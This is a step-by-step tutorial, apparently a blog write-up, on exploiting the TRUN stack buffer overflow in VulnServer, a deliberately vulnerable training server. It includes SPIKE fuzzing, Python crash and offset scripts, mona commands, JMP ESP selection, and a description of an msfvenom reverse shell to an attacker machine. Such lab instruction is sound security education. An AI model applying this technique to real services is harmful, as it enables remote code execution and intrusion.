Exploitation of the Vanilla Buffer Overflow in VulnServer (TRUN command)

Vulnserver is a multithreaded TCP server based on Windows that listens for client connections on port 9999 (by default) and allows the user to execute a number of different commands, vulnerable to various types of exploitable buffer overflows. This software is primarily designed as an educational tool to learn how to find and exploit buffer overflow bugs; each of the bugs it contains requires a slightly different approach. Although it mimics a simple legitimate server program, this software has no functional utility other than serving as an exploit target, and should not be run outside of a learning environment.

Creator: Stephen Bradshaw — GitHub

Let's first run Vulnserver on a Windows 7 machine to observe its operation. According to its creator, the program listens on port 9999 by default, but this port can be changed via a command line argument.

​

Let's check that we can connect to the server using netcat.

Everything looks good — now let's attach the server to the Immunity debugger.

Fuzzing VulnServer with SPIKE

SPIKE is a fuzzing framework written in C, designed to fuzz network applications, with scripting capabilities allowing for the creation of custom fuzzers. It is easy to use, although a bit outdated compared to other tools like Sulley or BooFuzz.

Download SPIKE : github.com/guilhermeferreira/spikepp

Basic SPIKE commands :

s_string(argument);           // Sends the argument unmodified to the application
s_string_variable("random"); // Sends an array of random data to the application
s_readline();                 // Reads a line from the response

As previously noted, the "HELP" command sent to the server returns the list of accepted commands. In this tutorial, we will only fuzz the command TRUN.

Create a text file named TRUN.spk containing :

s_string("TRUN ");
s_string_variable("test");

​

To better understand what SPIKE will send over the network, launch Wireshark and start capturing traffic.

On your Linux machine, run the fuzzing command in the terminal.

Wait for the server to crash. The EAX register will contain the string TRUN /.:/ followed by a series of "A", and the EIP and ESP registers will also have been overwritten. Go back to Wireshark, search for the packet containing TRUN /.:/, right-click → Follow → TCP Stream.

Building the exploit

The packet that caused the crash was nearly 5000 bytes. Let's reproduce the crash without the fuzzer, via a Python script :

python

#!/usr/bin/python
import socket

target_ip = "192.168.29.178"
port = 9999
payload = "TRUN /.:/" + 5000 * 'A'

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target_ip, port))
    s.send(payload)
    print("[+] " + str(len(payload)) + " Bytes Sent")
    s.close()
except:
    print("[-] Crashed")

​

The server crashes again with our Python script.

To generate a test pattern to precisely locate the EIP offset, use the mona command:

!mona pc 5000

This command creates a pattern.txt file in the Immunity debugger directory.

Tip: on Windows 7 64 bit, the path is C:\Program Files (x86)\Immunity Inc\Immunity Debugger. On Windows 7 32 bit: C:\Program Files\Immunity Inc\Immunity Debugger.

​

Let's replace the 5000 "A"s with this pattern in the Python script (pattern truncated here for readability — see the pattern.txt file generated by mona for the full string):

python

#!/usr/bin/python
import socket

target_ip = "10.0.2.4"
port = 9999
payload = "TRUN /.:/"
payload += "Aa0Aa1Aa2Aa3...[full pattern generated by mona.py]...Gk"

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target_ip, port))
    s.send(payload)
    print("[+] " + str(len(payload)) + " Bytes Sent")
except:
    print("[-] Crashed")

Restart the server, attach it to the debugger, and then run the Python script.

The server crashes and EIP takes the value 386F4337. To find the exact offset of this value in the pattern, let's use the mona command that searches for Metasploit patterns in memory:

!mona findmsp

This command creates a findmsp.txt file. Look for the line corresponding to the EIP value — we discover that EIP can be overwritten at offset 2003.

Let's adjust the payload with this information and test again :

python

#!/usr/bin/python
import socket

target_ip = "10.0.2.4"
port = 9999
payload = "TRUN /.:/"
payload += 2003 * "A"  # junk
payload += "BBBB"
payload += (5009 - len(payload)) * "C"

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target_ip, port))
    s.send(payload)
    print("[+] " + str(len(payload)) + " Bytes Sent")
except:
    print("[-] Crashed")

​

As expected, EIP contains BBBB and ESP contains the C. Since the shellcode will be placed on the stack, EIP must point to an instruction JMP ESP, which will redirect execution to the shellcode.

To find a JMP ESP pointer, use the corresponding mona command. The generated jmp.txt file allows you to choose a pointer within the essfunc.dll DLL, provided with Vulnserver — which ensures the exploit's compatibility even on another machine, and this DLL has several security protections disabled (ASLR, SafeSEH, etc.).

Bad Characters

Before generating the shellcode, you need to identify the bad characters that cannot be used in the shellcode.

Update the script with the character array generated by mona.py and run it.

Note : \x00 has been removed from the array, as it is almost always a bad character and its inclusion would skew the results.

The only identified bad character is \x00 (NULL byte).

Shellcode Generation

The shellcode is generated with msfvenom, specifying:

• 10.0.2.5 → attacker machine IP address
• 9001 → listening port on the attacker machine

Tip: in case of server crash without executing the shellcode, disable DEP protection for Vulnserver: Workstation → Properties → Advanced system settings → Performance → Settings → Data Execution Prevention → add Vulnserver to exceptions.

Final exploit

Prepare netcat to listen on port 9001.

Run the server, then launch the final exploit script.

Required resources

• VirtualBox
• Kali Linux
• Windows 7
• Immunity Debugger
• Mona Module
• Target Vulnserver

And there you go — the exploit works successfully!